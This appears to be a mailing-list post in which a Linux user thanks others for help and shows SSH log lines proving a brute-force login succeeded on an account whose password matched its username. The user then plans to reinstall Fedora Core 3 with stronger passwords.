Many thanks everybody.  I came here to learn and this is the proof that 
one should not have password = username.

Over 7 days, every five minutes or so, someone attempted to gain access 
to my system with root and all sorts of different account names.  
Finally they succeeded:-

[root at caesium ~]# grep -v uid /var/log/secure.2 |grep richard
Nov 13 22:33:42 caesium sshd[4586]: Accepted password for richard from 
::ffff:207.36.180.20 port 41610 ssh2
Nov 13 22:34:18 caesium sshd[4633]: Accepted password for richard from 
::ffff:208.251.178.235 port 55717 ssh2
[root at caesium ~]#

Time now to wipe the system and install FC3 using stronger passwords on 
my account.
